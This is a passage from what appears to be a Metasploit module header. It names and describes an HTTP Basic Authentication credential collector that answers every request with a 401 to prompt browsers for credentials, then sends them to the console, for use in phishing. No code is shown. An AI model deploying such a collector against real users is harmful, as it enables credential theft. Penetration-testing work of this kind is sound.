'Name' => 'HTTP Client Basic Authentication Credential Collector',
'Description' => %q{
This module responds to all requests for resources with a HTTP 401. This should
cause most browsers to prompt for a credential. If the user enters Basic Auth creds
they are sent to the console.
This may be helpful in some phishing expeditions where it is possible to embed a
resource into a page.
This attack is discussed in Chapter 3 of The Tangled Web by Michal Zalewski.
